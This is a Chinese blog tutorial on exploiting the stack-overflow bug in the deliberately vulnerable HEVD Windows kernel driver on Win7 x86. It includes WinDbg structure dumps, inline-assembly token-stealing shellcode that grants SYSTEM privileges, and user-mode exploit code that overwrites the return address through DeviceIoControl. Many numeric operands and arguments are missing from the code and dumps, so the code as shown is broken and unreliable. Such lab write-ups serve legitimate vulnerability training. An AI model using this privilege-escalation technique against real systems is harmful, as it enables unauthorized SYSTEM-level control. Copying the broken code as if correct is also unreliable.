[02] HEVD 内核漏洞之栈溢出
作者:huity
出处:https://www.cnblogs.com/huity35/p/11231155.html
版权:本文版权归作者所有。文章在看雪、博客园、个人博客同时发布。
转载:欢迎转载,但未经作者同意,必须保留此段声明;必须在文章中给出原文连接;否则必究法律责任。
0x00 前言
实验环境:Win10专业版+VMware Workstation 15 Pro+Win7 x86 sp1
实验工具:VS2015+Windbg+IDA Pro+KmdManager+DbgViewer
这几天看到有很多同样开始研究二进制漏洞的小伙伴,几经交流,先膜再说。传送门:TJ。
驱动安装
0x01 漏洞原理
栈溢出
分析
ULONG KernelBuffer[BUFFER_SIZE] = { };
...
#ifdef SECURE //安全版本
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else //漏洞版本
DbgPrint("[+] Triggering Buffer Overflow in Stack\n");
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
0x02 漏洞利用
提权
即将目标进程的 Token
结构数据或指针替换成 System
进程等系统进程的 Token
结构数据或指针。这样一来进程将以系统进程的身份执行任何行为,所有需要校验令牌的操作都将可以畅通无阻地进行。
第一步首先需要定位到System进程的EPROCES结构地址,常见做法是通过fs寄存器,其指向当前活动线程的TEB结构(线程结构),在Win7 x86 sp1环境下,其偏移0x124为当前线程KTHREAD结构:
kd> r fs
fs=
kd> dd fs:[0x124]
: 83f7d380 83f7d380
: 9e090106 0001007f
:
:
:
:
:
: 83f0cae7 83e4ff64 kd> dt _KTHREAD 83f7d380
nt!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
...
+0x040 ApcState : _KAPC_STATE
+0x040 ApcStateFill : [] "???"
+0x057 Priority : ''
... kd> dt _KAPC_STATE
nt!_KAPC_STATE
+0x000 ApcListHead : [] _LIST_ENTRY
+0x010 Process : Ptr32 _KPROCESS
+0x014 KernelApcInProgress : UChar
+0x015 KernelApcPending : UChar
+0x016 UserApcPending : UChar
Token
成员域。kd> dt _EPROCESS
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
...
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
+0x0c0 ProcessQuotaUsage : [] Uint4B
+0x0c8 ProcessQuotaPeak : [] Uint4B
...
+0x0f8 Token : _EX_FAST_REF
+0x0fc WorkingSetPage : Uint4B
... kd> dt _EX_FAST_REF
nt!_EX_FAST_REF
+0x000 Object : Ptr32 Void
+0x000 RefCnt : Pos , Bits
+0x000 Value : Ui
数值的低 3
位表示引用计数,去除低 3
位数值后的 32
位完整数值指向实际表示的内存地址。
Token
结构中存储与当前进程相关的安全令牌的数据内容,如用户安全标识符(Sid
),特权级(Privileges
)等,代表当前进程作为访问者角色访问其他被访问对象时,访问权限和身份校验的依据。当前的 System
进程的 Token
结构块的数据如下:
kd> !token
_TOKEN 0xffffffff89201270
TS Session ID:
User: S---
User Groups:
S----
Attributes - Default Enabled Owner
S---
Attributes - Mandatory Default Enabled
S---
Attributes - Mandatory Default Enabled
S---
Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S---
Privs:
0x000000002 SeCreateTokenPrivilege Attributes -
0x000000003 SeAssignPrimaryTokenPrivilege Attributes -
...
0x000000022 SeTimeZonePrivilege Attributes - Enabled Default
0x000000023 SeCreateSymbolicLinkPrivilege Attributes - Enabled Default
Authentication ID: (,3e7)
Impersonation Level: Anonymous
TokenType: Primary
Source: *SYSTEM* TokenFlags: 0x2000 ( Token in use )
Token ID: 3ea ParentToken ID:
Modified ID: (, 3eb)
RestrictedSidCount: RestrictedSids: 0x0000000000000000
OriginatingLogonSession:
第三步,用系统进程令牌替换当前进程令牌。
VOID TokenStealingPayloadWin7() {
__asm {
pushad ; 保存寄存器状态
xor eax, eax ; 清空eax
mov eax, fs:[eax + KTHREAD_OFFSET] ;获取当前线程KTHREAD结构
mov eax, [eax + EPROCESS_OFFSET] ; 获取_KPROCESS结构
mov ecx, eax ; KProcess为EProcess第一个字段 这里将目标进程EProcess首地址放进ecx 方便后面替换
mov edx, SYSTEM_PID ; SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; _EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ;_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; 获取System进程令牌
mov [ecx + TOKEN_OFFSET], edx ; 用系统进程令牌替换目标进程令牌
; End of Token Stealing Stub
popad ; 恢复现场
; Kernel Recovery Stub
xor eax, eax ; 设置返回状态为成功0
add esp, ; 恢复堆栈
pop ebp ; 弹栈
ret ;
}
}
利用代码
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG);
__try {
...
//获取设备对象句柄
hFile = GetDeviceHandle(FileName); ...
//动态申请内存 2084
UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
UserModeBufferSize); ...
RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);//0x41 'A' MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG));//申请区域的倒数第四的字节 0x368068+0x824-4 = 0x368888 ...
*(PULONG)MemoryAddress = (ULONG)EopPayload;//写入payload地址 DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
(LPVOID)UserModeBuffer,
(DWORD)UserModeBufferSize,
NULL,
,
&BytesReturned,
NULL); HeapFree(GetProcessHeap(), , (LPVOID)UserModeBuffer);
UserModeBuffer = NULL;
}
动态申请UserModeBufferSize(0x824)大小内存,使用字符A填充,修改最后四字节为Payload地址。驱动层通过IO控制码进入栈溢出处理历程,也即文章开始处的触发函数。
kd> db 0x002c8068 l
002c8068 - AAAAAAAAAAAAAAAA
002c8078 - AAAAAAAAAAAAAAAA
...
002c8868 - AAAAAAAAAAAAAAAA
002c8878 - AAAAAAAAAAAAAAAA
002c8888 b6 3f ..?. kd> db 013f13b6
013f13b6 e9 e9 3b- e9 d6 e9 .%u... ;........
013f13c6 e9 bc - e9 4c d5 e9 ....A....L....'
013f13d6 c5 e9 f4 a1 -e9 9d d6 e9 d7 ................
013f13e6 e9 e9- d6 e9 2d ...sE........)-.
013f13f6 e9 d0 a1 e9 ef-ba e9 2a bb ............*...
013f1406 e9 a1 e9 b6 a1- e9 0b a2 e9 .s..............
013f1416 a1 e9 a1 - e9 dc b3 e9 .....q..........
013f1426 a2 e9 d7 -e9 ff a1 e9 d5 ..............(. 013f88f2 b930000000 mov ecx,30h
kd> u 013f13b6++ l
013f88e0 push ebp
013f88e1 8bec mov ebp,esp
...
013f88fe pushad
013f88ff 33c0 xor eax,eax
013f8901 648b8024010000 mov eax,dword ptr fs:[eax+124h]
013f8908 8b4050 mov eax,dword ptr [eax+50h]
013f890b 8bc8 mov ecx,eax
013f890d ba04000000 mov edx,
013f8912 8b80b8000000 mov eax,dword ptr [eax+0B8h]
013f8918 2db8000000 sub eax,0B8h
013f891d 3990b4000000 cmp dword ptr [eax+0B4h],edx
013f8923 75ed jne 013f8912
013f8925 8b90f8000000 mov edx,dword ptr [eax+0F8h]
013f892b 8991f8000000 mov dword ptr [ecx+0F8h],edx
013f8931 popad
...
013f894e c3 ret
013f894f cc int
再来看看内核栈缓冲区,明显可以看到,覆盖范围超出了内核栈缓冲区,并且最后四个字节为payload跳转地址。
kd> dt KernelBuffer
Local var @ 0x987fb288 Type unsigned long[] kd> db 0x987fb288 l 0x800 //覆盖前
987fb288 - ................
987fb298 - ................
...
987fba78 - ................ kd> db 0x987fb288 l 0x824 //覆盖后
987fb288 - AAAAAAAAAAAAAAAA
987fb298 - AAAAAAAAAAAAAAAA
...
987fba98 - AAAAAAAAAAAAAAAA
987fbaa8 b6 3f ..?.
测试中,可以看到我们的payload代码成功执行。
0x03 防范机制
0x04 链接
[02] HEVD 内核漏洞之栈溢出的更多相关文章
- [04] HEVD 内核漏洞之IntegerOverflow
作者:huity出处:https://www.cnblogs.com/huity35/p/11252574.html版权:本文版权归作者所有.文章在博客园.看雪.个人博客同时发布.转载:欢迎转载,但未 ...
- [03] HEVD 内核漏洞之UAF
作者:huity出处:https://www.cnblogs.com/huity35/p/11240997.html版权:本文版权归作者所有.文章在博客园.个人博客同时发布.转载:欢迎转载,但未经作者 ...
- 内核漏洞学习—熟悉HEVD
一直以来内核漏洞安全给很多人的印象就是:难,枯燥.但是内核安全是否掌握是衡量一个系统安全工程师水平的标准之一,也是安全从业人员都应该掌握的基本功.本文通过详细的实例带领读者走进内核安全的大门.难度系数 ...
- Android内核漏洞利用技术实战:环境搭建&栈溢出实战
前言 Android的内核采用的是 Linux 内核,所以在Android内核中进行漏洞利用其实和在 一般的 x86平台下的 linux 内核中进行利用差不多.主要区别在于 Android 下使用的是 ...
- 一则利用内核漏洞获取root权限的案例【转】
转自:https://blog.csdn.net/u014089131/article/details/73933649 目录(?)[-] 漏洞描述 漏洞的影响范围 漏洞曝光时间 漏洞产生的原因 漏洞 ...
- 【翻译】 Windows 内核漏洞学习—空指针解引用
Windows Kernel Exploitation – NullPointer Dereference 原文地址:https://osandamalith.com/2017/06/22/windo ...
- Windows 内核漏洞学习—空指针解引用
原标题:Windows Kernel Exploitation – NullPointer Dereference 原文地址:https://osandamalith.com/2017/06/22/w ...
- Linux kernel pwn notes(内核漏洞利用学习)
前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...
- CVE-2014-0038内核漏洞原理与本地提权利用代码实现分析 作者:seteuid0
关键字:CVE-2014-0038,内核漏洞,POC,利用代码,本地提权,提权,exploit,cve analysis, privilege escalation, cve, kernel vuln ...
随机推荐
- VS2013编译Qt5.6.0静态库,并提供了百度云下载(乌合之众)good
获取qt5.6.0源码包 直接去www.qt.io下载就好了,这里就不详细说了. 这里是我已经编译好的** 链接:http://pan.baidu.com/s/1pLb6wVT 密码: ak7y ** ...
- 怎样让窗口不显示在任务栏和ALT+TAB中(隐藏窗口再嵌套,几乎是万能的办法)
之前想弄个像QQ旋风那样的悬浮窗口,就研究了下怎么让窗口不显示在任务栏中,方法其实很简单就是将窗口的扩张属性设置成WS_EX_TOOLWINDOW,MSDN中对该属性有详细介绍,代码如下: ::Set ...
- java-mysql(2) Prepared statement
上一篇学习了java如何链接配置mysql,这篇学习下java如何处理sql预处理语句(PreparedStatement),首先是一个sql预处理的例子: package core; import ...
- JAVA命令运行cmd命令得到的结果乱码Runtime.getRuntime().exec("");
Process process = Runtime.getRuntime().exec("cmd /c dir c:"); BufferedReader bufferedReade ...
- 深入V8引擎-AST(1)
没办法了,开坑吧,接下来的几篇会讲述JavaScript字符串源码在v8中转换成AST(抽象语法树)的过程. JS代码在V8的解析只有简单的几步,其中第一步就是将源字符串转换为抽象语法树,非常类似于v ...
- 在 Angular 2 Component 中使用第三方 JS 库
本文所有内容以 Angular 2 Quick Start 项目为基础,使用 TypeScript 语言. 如上图,最近遇到一个需求,需要在一个刚启动的 Angular 2 项目中使用 snap.sv ...
- Java学习笔记——Socket实现文件传输
我越是逃离,却越是靠近你. 我越是背过脸,却越是看见你. 我从你开始, 我在你结束. 需求:实现局域网下socket传输文件. 客户端步骤: 1.建立与服务器的连接 2.创建client输出流 3.创 ...
- GitLab安装后修改IP/域名
gitlab版本: 10.8.7 默认安装完成后,创建的项目地址为git@www.gitlab.com:xxx.git,还需DNS解析.避免麻烦直接配置成IP地址 解决方法: 1.进入安装目录 cd ...
- .NET Core IdentityServer4实战 第六章-Consent授权页
在identityServer4中登陆页面只要是成功了,就会注册一个Cookie在服务器资源上,像现在大部分的网站第三方授权,都是经过一个页面,然后选需要的功能,IdentityServer4也给我们 ...
- Spring Boot2(九):整合Jpa的基本使用
一.前言 今天早上看到一篇微信文章,说的是国内普遍用的Mybatis,而国外确普遍用的是Jpa.我之前也看了jpa,发现入门相当容易.jpa对于简单的CRUD支持非常好,开发效率也会比Mybatis高 ...